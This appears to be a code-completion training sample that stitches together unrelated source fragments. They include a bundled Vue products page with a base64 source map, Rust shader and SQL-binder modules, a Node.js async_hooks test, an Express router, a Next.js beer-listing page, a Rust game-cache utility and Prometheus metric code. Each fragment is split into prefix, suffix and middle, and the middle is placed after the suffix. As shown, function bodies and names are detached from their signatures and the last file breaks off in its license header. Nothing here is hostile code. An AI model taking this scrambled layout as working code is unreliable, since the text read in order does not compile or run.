sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiLi9ub2RlX21vZHVsZXMvdnVlLWxvYWRlci9saWIvbG9hZGVycy90ZW1wbGF0ZUxvYWRlci5qcz8/dnVlLWxvYWRlci1vcHRpb25zIS4vbm9kZV9tb2R1bGVzL3Z1ZS1sb2FkZXIvbGliL2luZGV4LmpzPz92dWUtbG9hZGVyLW9wdGlvbnMhLi9yZXNvdXJjZXMvanMvcGFnZXMvcHJvZHVjdHMudnVlP3Z1ZSZ0eXBlPXRlbXBsYXRlJmlkPTYwNjU5NDY2Ji5qcyIsIm1hcHBpbmdzIjoiOzs7OztBQUFBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsUUFBUSx1RUFBdUU7QUFDL0U7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLFdBQVc7QUFDWDtBQUNBO0FBQ0E7QUFDQSxnQkFBZ0IsZUFBZTtBQUMvQixxQ0FBcUMsU0FBUyxnQkFBZ0I7QUFDOUQ7QUFDQTtBQUNBLFdBQVc7QUFDWDtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLFdBQVc7QUFDWDtBQUNBO0FBQ0E7QUFDQSxnQkFBZ0IsaUJBQWlCO0FBQ2pDLHNDQUFzQyxTQUFTLG9CQUFvQjtBQUNuRTtBQUNBO0FBQ0EsV0FBVztBQUNYO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSx1QkFBdUIsNEJBQTRCO0FBQ25EO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSxTQUFTO0FBQ1Q7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsdUJBQXVCLFdBQVc7QUFDbEMsYUFBYTtBQUNiO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSxHQUFHO0FBQ0g7QUFDQTtBQUNBO0FBQ0E7QUFDQSx1QkFBdUIsaUNBQWlDO0FBQ3hEO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSxTQUFTO0FBQ1Q7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsdUJBQXVCLFdBQVc7QUFDbEMsYUFBYTtBQUNiO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSxHQUFHO0FBQ0g7QUFDQSIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3Jlc291cmNlcy9qcy9wYWdlcy9wcm9kdWN0cy52dWU/NDg0ZiJdLCJzb3VyY2VzQ29udGVudCI6WyJ2YXIgcmVuZGVyID0gZnVuY3Rpb24gKCkge1xuICB2YXIgX3ZtID0gdGhpc1xuICB2YXIgX2ggPSBfdm0uJGNyZWF0ZUVsZW1lbnRcbiAgdmFyIF9jID0gX3ZtLl9zZWxmLl9jIHx8IF9oXG4gIHJldHVybiBfYyhcImRpdlwiLCBbXG4gICAgX2MoXG4gICAgICBcInNlY3Rpb25cIixcbiAgICAgIHsgc3RhdGljQ2xhc3M6IFwiZmxleCBmbGV4LWNvbCBqdXN0aWZ5LWNlbnRlciBwLTIgbWQ6cC04IG1iLTEwIGJnLXdoaXRlXCIgfSxcbiAgICAgIFtcbiAgICAgICAgX3ZtLl9tKDApLFxuICAgICAgICBfdm0uX3YoXCIgXCIpLFxuICAgICAgICBfYyhcbiAgICAgICAgICBcImRpdlwiLFxuICAgICAgICAgIHtcbiAgICAgICAgICAgIHN0YXRpY0NsYXNzOlxuICAgICAgICAgICAgICBcImdyaWQgZ3JpZC1jb2xzLTIgbWQ6Z3JpZC1jb2xzLTQgZ2FwLTIgbWQ6Z2FwLTggcHQtOCBtYXgtdy03eGwgbXgtYXV0b1wiLFxuICAgICAgICAgIH0sXG4gICAgICAgICAgX3ZtLl9sKF92bS5nYW1tZXMsIGZ1bmN0aW9uIChnYW1tZSkge1xuICAgICAgICAgICAgcmV0dXJuIF9jKFxuICAgICAgICAgICAgICBcImRpdlwiLFxuICAgICAgICAgICAgICB7IGtleTogZ2FtbWUuaWQgfSxcbiAgICAgICAgICAgICAgW19jKFwiZ2FtbWUtcHJvZHVjdFwiLCB7IGF0dHJzOiB7IGdhbW1lOiBnYW1tZSB9IH0pXSxcbiAgICAgICAgICAgICAgMVxuICAgICAgICAgICAgKVxuICAgICAgICAgIH0pLFxuICAgICAgICAgIDBcbiAgICAgICAgKSxcbiAgICAgICAgX3ZtLl92KFwiIFwiKSxcbiAgICAgICAgX3ZtLl9tKDEpLFxuICAgICAgICBfdm0uX3YoXCIgXCIpLFxuICAgICAgICBfYyhcbiAgICAgICAgICBcImRpdlwiLFxuICAgICAgICAgIHtcbiAgICAgICAgICAgIHN0YXRpY0NsYXNzOlxuICAgICAgICAgICAgICBcImdyaWQgZ3JpZC1jb2xzLTIgbWQ6Z3JpZC1jb2xzLTQgZ2FwLTIgbWQ6Z2FwLTggcHQtOCBtYXgtdy03eGwgbXgtYXV0b1wiLFxuICAgICAgICAgIH0sXG4gICAgICAgICAgX3ZtLl9sKF92bS5wcm9kdWN0cywgZnVuY3Rpb24gKHByb2R1Y3QpIHtcbiAgICAgICAgICAgIHJldHVybiBfYyhcbiAgICAgICAgICAgICAgXCJkaXZcIixcbiAgICAgICAgICAgICAgeyBrZXk6IHByb2R1Y3QuaWQgfSxcbiAgICAgICAgICAgICAgW19jKFwic2luZ2xlLXByb2R1Y3RcIiwgeyBhdHRyczogeyBwcm9kdWN0OiBwcm9kdWN0IH0gfSldLFxuICAgICAgICAgICAgICAxXG4gICAgICAgICAgICApXG4gICAgICAgICAgfSksXG4gICAgICAgICAgMFxuICAgICAgICApLFxuICAgICAgXVxuICAgICksXG4gIF0pXG59XG52YXIgc3RhdGljUmVuZGVyRm5zID0gW1xuICBmdW5jdGlvbiAoKSB7XG4gICAgdmFyIF92bSA9IHRoaXNcbiAgICB2YXIgX2ggPSBfdm0uJGNyZWF0ZUVsZW1lbnRcbiAgICB2YXIgX2MgPSBfdm0uX3NlbGYuX2MgfHwgX2hcbiAgICByZXR1cm4gX2MoXCJuYXZcIiwgeyBzdGF0aWNDbGFzczogXCJ3LWZ1bGwgcHktNFwiIH0sIFtcbiAgICAgIF9jKFxuICAgICAgICBcImRpdlwiLFxuICAgICAgICB7XG4gICAgICAgICAgc3RhdGljQ2xhc3M6XG4gICAgICAgICAgICBcInctZnVsbCBjb250YWluZXIgbXgtYXV0byBmbGV4IGZsZXgtd3JhcCBpdGVtcy1jZW50ZXIganVzdGlmeS1iZXR3ZWVuIG10LTAgcHktM1wiLFxuICAgICAgICB9LFxuICAgICAgICBbXG4gICAgICAgICAgX2MoXG4gICAgICAgICAgICBcImgzXCIsXG4gICAgICAgICAgICB7XG4gICAgICAgICAgICAgIHN0YXRpY0NsYXNzOlxuICAgICAgICAgICAgICAgIFwidXBwZXJjYXNlIHRyYWNraW5nLXdpZGUgbm8tdW5kZXJsaW5lIGhvdmVyOm5vLXVuZGVybGluZSBmb250LWJvbGQgdGV4dC1ncmF5LTcwMCB0ZXh0LXhsIFwiLFxuICAgICAgICAgICAgICBhdHRyczogeyBocmVmOiBcIiNcIiB9LFxuICAgICAgICAgICAgfSxcbiAgICAgICAgICAgIFtfdm0uX3YoXCJcXG4gICAgICAgICAgICAgICAgICBOb3MgZ2FtbW1lc1xcbiAgICAgICAgICAgICAgXCIpXVxuICAgICAgICAgICksXG4gICAgICAgIF1cbiAgICAgICksXG4gICAgXSlcbiAgfSxcbiAgZnVuY3Rpb24gKCkge1xuICAgIHZhciBfdm0gPSB0aGlzXG4gICAgdmFyIF9oID0gX3ZtLiRjcmVhdGVFbGVtZW50XG4gICAgdmFyIF9jID0gX3ZtLl9zZWxmLl9jIHx8IF9oXG4gICAgcmV0dXJuIF9jKFwibmF2XCIsIHsgc3RhdGljQ2xhc3M6IFwidy1mdWxsIHB5LTQgbXQtOFwiIH0sIFtcbiAgICAgIF9jKFxuICAgICAgICBcImRpdlwiLFxuICAgICAgICB7XG4gICAgICAgICAgc3RhdGljQ2xhc3M6XG4gICAgICAgICAgICBcInctZnVsbCBjb250YWluZXIgbXgtYXV0byBmbGV4IGZsZXgtd3JhcCBpdGVtcy1jZW50ZXIganVzdGlmeS1iZXR3ZWVuIG10LTAgcHktM1wiLFxuICAgICAgICB9LFxuICAgICAgICBbXG4gICAgICAgICAgX2MoXG4gICAgICAgICAgICBcImgzXCIsXG4gICAgICAgICAgICB7XG4gICAgICAgICAgICAgIHN0YXRpY0NsYXNzOlxuICAgICAgICAgICAgICAgIFwidXBwZXJjYXNlIHRyYWNraW5nLXdpZGUgbm8tdW5kZXJsaW5lIGhvdmVyOm5vLXVuZGVybGluZSBmb250LWJvbGQgdGV4dC1ncmF5LTcwMCB0ZXh0LXhsIFwiLFxuICAgICAgICAgICAgICBhdHRyczogeyBocmVmOiBcIiNcIiB9LFxuICAgICAgICAgICAgfSxcbiAgICAgICAgICAgIFtfdm0uX3YoXCJcXG4gICAgICAgICAgICAgICAgICBOb3MgcHJvZHVpdHNcXG4gICAgICAgICAgICAgIFwiKV1cbiAgICAgICAgICApLFxuICAgICAgICBdXG4gICAgICApLFxuICAgIF0pXG4gIH0sXG5dXG5yZW5kZXIuX3dpdGhTdHJpcHBlZCA9IHRydWVcblxuZXhwb3J0IHsgcmVuZGVyLCBzdGF0aWNSZW5kZXJGbnMgfSJdLCJuYW1lcyI6W10sInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///./node_modules/vue-loader/lib/loaders/templateLoader.js??vue-loader-options!./node_modules/vue-loader/lib/index.js??vue-loader-options!./resources/js/pages/products.vue?vue&type=template&id=60659466&\n");
/***/ })
}]); | |
mod.rs | pub mod surface_closure;
|
pub use self::surface_closure::SurfaceClosure;
/// Trait for surface shaders.
pub trait SurfaceShader: Debug + Sync {
/// Takes the result of a surface intersection and returns the surface
/// closure to be evaluated at that intersection point.
fn shade(&self, data: &SurfaceIntersectionData, time: f32) -> SurfaceClosure;
}
/// Clearly we must eat this brownie before the world ends, lest it
/// go uneaten before the world ends. But to do so we must trek
/// far--much like in Lord of the Rings--to fetch the golden fork with
/// which to eat the brownie. Only this fork can be used to eat this
/// brownie, for any who try to eat it with a normal fork shall
/// perish immediately and without honor. But guarding the fork are
/// three large donuts, which must all be eaten in sixty seconds or
/// less to continue on. It's called the donut challenge. But these
/// are no ordinary donuts. To call them large is actually doing
/// them a great injustice, for they are each the size of a small
/// building.
#[derive(Debug, Copy, Clone)]
pub enum SimpleSurfaceShader {
Emit {
color: Color,
},
Lambert {
color: Color,
},
GGX {
color: Color,
roughness: f32,
fresnel: f32,
},
}
impl SurfaceShader for SimpleSurfaceShader {
fn shade(&self, data: &SurfaceIntersectionData, time: f32) -> SurfaceClosure {
let _ = (data, time); // Silence "unused" compiler warning
match *self {
SimpleSurfaceShader::Emit { color } => SurfaceClosure::Emit(color),
SimpleSurfaceShader::Lambert { color } => SurfaceClosure::Lambert(color),
SimpleSurfaceShader::GGX {
color,
roughness,
fresnel,
} => SurfaceClosure::GGX {
color: color,
roughness: roughness,
fresnel: fresnel,
},
}
}
} | use std::fmt::Debug;
use crate::{color::Color, surface::SurfaceIntersectionData}; |
project.rs | // Copyright 2022 Datafuse Labs.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
use common_ast::ast::Indirection;
use common_ast::ast::SelectTarget;
use common_exception::ErrorCode;
use common_exception::Result;
use crate::sql::optimizer::SExpr;
use crate::sql::planner::binder::scalar::ScalarBinder;
use crate::sql::planner::binder::BindContext;
use crate::sql::planner::binder::Binder;
use crate::sql::planner::binder::ColumnBinding;
use crate::sql::plans::BoundColumnRef;
use crate::sql::plans::ProjectItem;
use crate::sql::plans::ProjectPlan;
use crate::sql::plans::Scalar;
impl<'a> Binder {
/// Try to build a `ProjectPlan` to satisfy `output_context`.
/// If `output_context` can already be satisfied by `input_context`(e.g. `SELECT * FROM t`),
/// then it won't build a `ProjectPlan`.
pub(super) fn bind_projection(&mut self, output_context: &mut BindContext) -> Result<()> |
/// Normalize select list into a BindContext.
/// There are three kinds of select target:
///
/// * Qualified name, e.g. `SELECT t.a FROM t`
/// * Qualified name with wildcard, e.g. `SELECT t.* FROM t, t1`
/// * Scalar expression or aggregate expression, e.g. `SELECT COUNT(*)+1 AS count FROM t`
///
/// For qualified names, we just resolve it with the input `BindContext`. If successful, we
/// will get a `ColumnBinding` and the `expr` field is left `None`.
///
/// The qualified names with wildcard will be expanded into qualified names for resolution.
/// For example, `SELECT * FROM t` may be expanded into `SELECT t.a, t.b FROM t`.
///
/// For scalar expressions and aggregate expressions, we will register new columns for
/// them in `Metadata`. And notice that, the semantic of aggregate expressions won't be checked
/// in this function.
pub(super) async fn normalize_select_list(
&mut self,
select_list: &[SelectTarget<'a>],
has_order_by: bool,
input_context: &BindContext,
) -> Result<BindContext> {
let mut output_context = BindContext::new();
if has_order_by {
output_context.order_by_columns = Some(input_context.columns.clone());
}
output_context.expression = input_context.expression.clone();
for select_target in select_list {
match select_target {
SelectTarget::QualifiedName(names) => {
// Handle qualified name as select target
if names.len() == 1 {
let indirection = &names[0];
match indirection {
Indirection::Identifier(ident) => {
let mut column_binding =
input_context.resolve_column(None, ident)?;
column_binding.column_name = ident.name.clone();
output_context.add_column_binding(column_binding);
}
Indirection::Star => {
// Expands wildcard star, for example we have a table `t(a INT, b INT)`:
// The query `SELECT * FROM t` will be expanded into `SELECT t.a, t.b FROM t`
for column_binding in input_context.all_column_bindings() {
output_context.add_column_binding(column_binding.clone());
}
}
}
} else {
// TODO: Support indirection like `a.b`, `a.*`
return Err(ErrorCode::SemanticError("Unsupported indirection type"));
}
}
SelectTarget::AliasedExpr { expr, alias } => {
let scalar_binder = ScalarBinder::new(input_context, self.ctx.clone());
let (bound_expr, data_type) = scalar_binder.bind_expr(expr).await?;
// If alias is not specified, we will generate a name for the scalar expression.
let expr_name = match alias {
Some(alias) => alias.name.clone(),
None => self.metadata.get_expr_display_string(expr)?,
};
// TODO(leiysky): If expr is a ColumnRef, then it's a pass-through column.
// There is no need to generate a new ColumnEntry for it.
let index =
self.metadata
.add_column(expr_name.clone(), data_type.clone(), None);
let column_binding = ColumnBinding {
table_name: None,
column_name: expr_name,
index,
data_type,
scalar: Some(Box::new(bound_expr.clone())),
};
if has_order_by
&& !matches!(bound_expr, Scalar::BoundColumnRef(BoundColumnRef { .. }))
{
output_context
.order_by_columns
.as_mut()
.ok_or_else(|| {
ErrorCode::SemanticError("Order by should have order by columns")
})?
.push(column_binding.clone());
}
output_context.add_column_binding(column_binding);
}
}
}
Ok(output_context)
}
}
| {
let mut projections: Vec<ProjectItem> = vec![];
for column_binding in output_context.all_column_bindings() {
if let Some(expr) = &column_binding.scalar {
projections.push(ProjectItem {
expr: *expr.clone(),
index: column_binding.index,
});
}
}
if !projections.is_empty() {
let child = output_context.expression.clone().unwrap();
let project_plan = ProjectPlan { items: projections };
let new_expr = SExpr::create_unary(project_plan.into(), child);
output_context.expression = Some(new_expr);
}
Ok(())
} |
test-enable-disable.js | /*
* Test Steps Explained
* ====================
*
* Initializing hooks:
*
* We initialize 3 hooks. For hook2 and hook3 we register a callback for the
* "before" and in case of hook3 also for the "after" invocations.
*
* Enabling hooks initially:
*
* We only enable hook1 and hook3 initially.
*
* Enabling hook2:
*
* When hook3's "before" invocation occurs we enable hook2. Since this
* happens right before calling `onfirstImmediate` hook2 will miss all hook
* invocations until then, including the "init" and "before" of the first
* Immediate.
* However afterwards it collects all invocations that follow on the first
* Immediate as well as all invocations on the second Immediate.
*
* This shows that a hook can enable another hook inside a life time event
* callback.
*
*
* Disabling hook1
*
* Since we registered the "before" callback for hook2 it will execute it
* right before `onsecondImmediate` is called.
* At that point we disable hook1 which is why it will miss all invocations
* afterwards and thus won't include the second "after" as well as the
* "destroy" invocations
*
* This shows that a hook can disable another hook inside a life time event
* callback.
*
* Disabling hook3
*
* When the second "after" invocation occurs (after onsecondImmediate), hook3
* disables itself.
* As a result it will not receive the "destroy" invocation.
*
* This shows that a hook can disable itself inside a life time event callback.
*
* Sample Test Log
* ===============
*
* - setting up first Immediate
* hook1.init.uid-5
* hook3.init.uid-5
* - finished setting first Immediate
* hook1.before.uid-5
* hook3.before.uid-5
* - enabled hook2
* - entering onfirstImmediate
* - setting up second Immediate
* hook1.init.uid-6
* hook3.init.uid-6
* hook2.init.uid-6
* - finished setting second Immediate
* - exiting onfirstImmediate
* hook1.after.uid-5
* hook3.after.uid-5
* hook2.after.uid-5
* hook1.destroy.uid-5
* hook3.destroy.uid-5
* hook2.destroy.uid-5
* hook1.before.uid-6
* hook3.before.uid-6
* hook2.before.uid-6
* - disabled hook1
* - entering onsecondImmediate
* - exiting onsecondImmediate
* hook3.after.uid-6
* - disabled hook3
* hook2.after.uid-6
* hook2.destroy.uid-6
*/
'use strict';
const common = require('../common');
const assert = require('assert');
const tick = require('../common/tick');
const initHooks = require('./init-hooks');
const { checkInvocations } = require('./hook-checks');
if (!common.isMainThread)
common.skip('Worker bootstrapping works differently -> different timing');
// Include "Unknown"s because hook2 will not be able to identify
// the type of the first Immediate since it will miss its `init` invocation.
const types = [ 'Immediate', 'Unknown' ];
//
// Initializing hooks
//
const hook1 = initHooks();
const hook2 = initHooks({ onbefore: onhook2Before, allowNoInit: true });
const hook3 = initHooks({ onbefore: onhook3Before, onafter: onhook3After });
//
// Enabling hook1 and hook3 only, hook2 is still disabled
//
hook1.enable();
// Verify that the hook is enabled even if .enable() is called twice.
hook1.enable();
hook3.enable();
//
// Enabling hook2
//
let enabledHook2 = false;
function onhook3Before() {
if (enabledHook2) return;
hook2.enable();
enabledHook2 = true;
}
//
// Disabling hook1
//
let disabledHook3 = false;
function onhook2Before() {
if (disabledHook3) return;
hook1.disable();
// Verify that the hook is disabled even if .disable() is called twice.
hook1.disable();
disabledHook3 = true;
}
//
// Disabling hook3 during the second "after" invocations it sees
//
let count = 2;
function onhook3After() {
if (!--count) {
hook3.disable();
}
}
setImmediate(common.mustCall(onfirstImmediate));
//
// onfirstImmediate is called after all "init" and "before" callbacks of the
// active hooks were invoked
//
function | () {
const as1 = hook1.activitiesOfTypes(types);
const as2 = hook2.activitiesOfTypes(types);
const as3 = hook3.activitiesOfTypes(types);
assert.strictEqual(as1.length, 1);
// hook2 was not enabled yet .. it is enabled after hook3's "before" completed
assert.strictEqual(as2.length, 0);
assert.strictEqual(as3.length, 1);
// Check that hook1 and hook3 captured the same Immediate and that it is valid
const firstImmediate = as1[0];
assert.strictEqual(as3[0].uid, as1[0].uid);
assert.strictEqual(firstImmediate.type, 'Immediate');
assert.strictEqual(typeof firstImmediate.uid, 'number');
assert.strictEqual(typeof firstImmediate.triggerAsyncId, 'number');
checkInvocations(as1[0], { init: 1, before: 1 },
'hook1[0]: on first immediate');
checkInvocations(as3[0], { init: 1, before: 1 },
'hook3[0]: on first immediate');
// Setup the second Immediate, note that now hook2 is enabled and thus
// will capture all lifetime events of this Immediate
setImmediate(common.mustCall(onsecondImmediate));
}
//
// Once we exit onfirstImmediate the "after" callbacks of the active hooks are
// invoked
//
let hook1First, hook2First, hook3First;
let hook1Second, hook2Second, hook3Second;
//
// onsecondImmediate is called after all "before" callbacks of the active hooks
// are invoked again
//
function onsecondImmediate() {
const as1 = hook1.activitiesOfTypes(types);
const as2 = hook2.activitiesOfTypes(types);
const as3 = hook3.activitiesOfTypes(types);
assert.strictEqual(as1.length, 2);
assert.strictEqual(as2.length, 2);
assert.strictEqual(as3.length, 2);
// Assign the info collected by each hook for each immediate for easier
// reference.
// hook2 saw the "init" of the second immediate before the
// "after" of the first which is why they are ordered the opposite way
hook1First = as1[0];
hook1Second = as1[1];
hook2First = as2[1];
hook2Second = as2[0];
hook3First = as3[0];
hook3Second = as3[1];
// Check that all hooks captured the same Immediate and that it is valid
const secondImmediate = hook1Second;
assert.strictEqual(hook2Second.uid, hook3Second.uid);
assert.strictEqual(hook1Second.uid, hook3Second.uid);
assert.strictEqual(secondImmediate.type, 'Immediate');
assert.strictEqual(typeof secondImmediate.uid, 'number');
assert.strictEqual(typeof secondImmediate.triggerAsyncId, 'number');
checkInvocations(hook1First, { init: 1, before: 1, after: 1, destroy: 1 },
'hook1First: on second immediate');
checkInvocations(hook1Second, { init: 1, before: 1 },
'hook1Second: on second immediate');
// hook2 missed the "init" and "before" since it was enabled after they
// occurred
checkInvocations(hook2First, { after: 1, destroy: 1 },
'hook2First: on second immediate');
checkInvocations(hook2Second, { init: 1, before: 1 },
'hook2Second: on second immediate');
checkInvocations(hook3First, { init: 1, before: 1, after: 1, destroy: 1 },
'hook3First: on second immediate');
checkInvocations(hook3Second, { init: 1, before: 1 },
'hook3Second: on second immediate');
tick(1);
}
//
// Once we exit onsecondImmediate the "after" callbacks of the active hooks are
// invoked again.
// During this second "after" invocation hook3 disables itself
// (see onhook3After).
//
process.on('exit', onexit);
function onexit() {
hook1.disable();
hook2.disable();
hook3.disable();
hook1.sanityCheck();
hook2.sanityCheck();
hook3.sanityCheck();
checkInvocations(hook1First, { init: 1, before: 1, after: 1, destroy: 1 },
'hook1First: when process exits');
// hook1 was disabled during hook2's "before" of the second immediate
// and thus did not see "after" and "destroy"
checkInvocations(hook1Second, { init: 1, before: 1 },
'hook1Second: when process exits');
// hook2 missed the "init" and "before" since it was enabled after they
// occurred
checkInvocations(hook2First, { after: 1, destroy: 1 },
'hook2First: when process exits');
checkInvocations(hook2Second, { init: 1, before: 1, after: 1, destroy: 1 },
'hook2Second: when process exits');
checkInvocations(hook3First, { init: 1, before: 1, after: 1, destroy: 1 },
'hook3First: when process exits');
// We don't see a "destroy" invocation here since hook3 disabled itself
// during its "after" invocation
checkInvocations(hook3Second, { init: 1, before: 1, after: 1 },
'hook3Second: when process exits');
}
| onfirstImmediate |
round2.js | const router = require("express").Router();
const round2Controller = require("../controller/user/round2");
const validater = require("../middleware/validation");
const schemas = require("../utils/schemas"); | router.get("/fetchgda", round2Controller.fetchGda);
router.get("/verifyslotTime", round2Controller.verifyslotTime);
router.post(
"/selectslot",
validater(schemas.round2SelectSlot),
round2Controller.selectSlot
);
module.exports = router; |
router.get("/slots", round2Controller.getSlots);
router.get("/fetchgdp", round2Controller.fetchGdp); |
index.tsx | import Link from 'next/link'
import { useRouter } from 'next/router'
import { GetServerSideProps } from 'next'
import { motion } from 'framer-motion'
import BeerList from 'components/BeerList'
import Base from 'templates/Base'
import { PaginationLayout, PaginationLink } from 'components/HomePage/styles'
import { useScrollRestoration } from 'hooks/useScrollRestoration'
import { Beer } from 'types/Beer'
import api from 'services/api'
type HomePageProps = {
beers: Beer[]
previousPage: number | null
nextPage: number
}
const HomePage = ({ beers, previousPage, nextPage }: HomePageProps) => {
const router = useRouter()
const scrollRestoration = useScrollRestoration(router.asPath)
return (
<Base>
<motion.div
{...scrollRestoration}
initial={{ opacity: 0 }}
animate={{ opacity: 1 }}
exit={{ opacity: 0 }}
>
<BeerList beers={beers} />
<PaginationLayout>
{previousPage && (
<Link
href={{ pathname: '/', query: { page: previousPage } }}
passHref
>
<PaginationLink>Previous</PaginationLink>
</Link>
)}
<Link href={{ pathname: '/', query: { page: nextPage } }} passHref>
<PaginationLink>Next</PaginationLink>
</Link>
</PaginationLayout>
</motion.div>
</Base>
)
}
export const getServerSideProps: GetServerSideProps<HomePageProps> = async (
context
) => {
const currentPage = context.query.page ? Number(context.query.page) : 1
const response = await api.get<Beer[]>(`beers?page=${currentPage}`)
| return {
props: {
beers: response.data,
nextPage: currentPage + 1,
previousPage: currentPage > 1 ? currentPage - 1 : null
}
}
}
export default HomePage | |
util.rs | //! Helpful utility functions, macros and structs.
#[allow(unused_assignments)]
mod huffman;
#[allow(clippy::many_single_char_names, clippy::too_many_lines)]
mod isaac_rand;
pub use huffman::Huffman;
pub use isaac_rand::IsaacRand;
use std::{
collections::HashMap,
io::{self, BufReader},
};
use crate::extension::ReadExt;
macro_rules! impl_osrs_loader {
($ldr:ident, $def:ty, index_id: $idx_id:expr $(, archive_id: $arc_id:expr)?) => {
impl $ldr {
#[allow(unreachable_code)]
pub fn new(cache: &Cache) -> crate::Result<Self> {
$(
let map = <$def>::fetch_from_archive(cache, $idx_id, $arc_id)?;
return Ok(Self(map));
)?
let map = <$def>::fetch_from_index(cache, $idx_id)?;
Ok(Self(map))
}
pub fn load(&self, id: u16) -> Option<&$def> {
self.0.get(&id)
}
}
impl_iter_for_loader!($ldr, u16, $def);
};
}
macro_rules! impl_iter_for_loader {
($ldr:ident, $id:ty, $def:ty) => {
impl $ldr {
pub fn iter(&self) -> hash_map::Iter<'_, $id, $def> {
self.0.iter()
}
pub fn iter_mut(&mut self) -> hash_map::IterMut<'_, $id, $def> {
self.0.iter_mut()
}
}
impl IntoIterator for $ldr {
type Item = ($id, $def);
type IntoIter = hash_map::IntoIter<$id, $def>;
fn into_iter(self) -> Self::IntoIter {
self.0.into_iter()
}
}
impl<'a> IntoIterator for &'a $ldr {
type Item = (&'a $id, &'a $def);
type IntoIter = hash_map::Iter<'a, $id, $def>;
fn into_iter(self) -> Self::IntoIter {
self.0.iter()
}
}
impl<'a> IntoIterator for &'a mut $ldr {
type Item = (&'a $id, &'a mut $def);
type IntoIter = hash_map::IterMut<'a, $id, $def>;
fn into_iter(self) -> Self::IntoIter {
self.0.iter_mut()
}
}
};
}
/// djd2 module for string hashing
pub mod djd2 {
/// Hashes the string
///
/// # Errors
///
/// Can panic if `nth(n)` returns `None` if n >= strings iter length.
///
/// # Examples
///
/// ```
/// let hash = osrscache::util::djd2::hash("huffman");
/// assert_eq!(hash, 1258058669);
/// ```
pub fn hash<T: AsRef<str>>(string: T) -> i32 |
}
/// Useful for decoding parameters when reading from definition buffers.
///
/// # Errors
///
/// Can return `std::io::Error` if reading from the `BufReader<&[u8]>` fails.
pub fn read_parameters(reader: &mut BufReader<&[u8]>) -> io::Result<HashMap<u32, String>> {
let len = reader.read_u8()?;
let mut map = HashMap::new();
for _ in 0..len {
let is_string = reader.read_u8()? == 1;
let key = reader.read_u24()?;
let value = if is_string {
reader.read_string()?
} else {
reader.read_i32()?.to_string()
};
map.insert(key, value);
}
Ok(map)
}
| {
let string = string.as_ref();
let mut hash = 0;
for index in 0..string.len() {
hash =
string.chars().nth(index).unwrap_or_else(|| {
panic!("index {} not valid in str len {}", index, string.len())
}) as i32
+ ((hash << 5) - hash);
}
hash
} |
Article.Categories.tsx | import React from 'react';
export default function | ({ categories }) {
// TODO: add style to display category on individual article page
return <></>;
}
| ArticleCategories |
metric.go | // Copyright 2013 The Prometheus Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package model
import (
"fmt"
"regexp"
"sort"
"strings"
)
var (
separator = []byte{0}
// MetricNameRE is a regular expression matching valid metric
// names. Note that the IsValidMetricName function performs the same
// check but faster than a match with this regular expression.
MetricNameRE = regexp.MustCompile(`^[a-zA-Z_:][a-zA-Z0-9_:]*$`)
)
// A Metric is similar to a LabelSet, but the key difference is that a Metric is
// a singleton and refers to one and only one stream of samples.
type Metric LabelSet
// Equal compares the metrics.
func (m Metric) Equal(o Metric) bool {
return LabelSet(m).Equal(LabelSet(o))
}
// Before compares the metrics' underlying label sets.
func (m Metric) Before(o Metric) bool {
return LabelSet(m).Before(LabelSet(o))
}
// Clone returns a copy of the Metric.
func (m Metric) Clone() Metric {
clone := make(Metric, len(m))
for k, v := range m {
clone[k] = v
}
return clone
}
func (m Metric) String() string {
metricName, hasName := m[MetricNameLabel]
numLabels := len(m) - 1
if !hasName |
labelStrings := make([]string, 0, numLabels)
for label, value := range m {
if label != MetricNameLabel {
labelStrings = append(labelStrings, fmt.Sprintf("%s=%q", label, value))
}
}
switch numLabels {
case 0:
if hasName {
return string(metricName)
}
return "{}"
default:
sort.Strings(labelStrings)
return fmt.Sprintf("%s{%s}", metricName, strings.Join(labelStrings, ", "))
}
}
// Fingerprint returns a Metric's Fingerprint.
func (m Metric) Fingerprint() Fingerprint {
return LabelSet(m).Fingerprint()
}
// FastFingerprint returns a Metric's Fingerprint calculated by a faster hashing
// algorithm, which is, however, more susceptible to hash collisions.
func (m Metric) FastFingerprint() Fingerprint {
return LabelSet(m).FastFingerprint()
}
// IsValidMetricName returns true iff name matches the pattern of MetricNameRE.
// This function, however, does not use MetricNameRE for the check but a much
// faster hardcoded implementation.
func IsValidMetricName(n LabelValue) bool {
if len(n) == 0 {
return false
}
for i, b := range n {
if !((b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z') || b == '_' || b == ':' || (b >= '0' && b <= '9' && i > 0)) {
return false
}
}
return true
}
| {
numLabels = len(m)
} |
structured_log.go | //go:build integration
// +build integration
/*
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
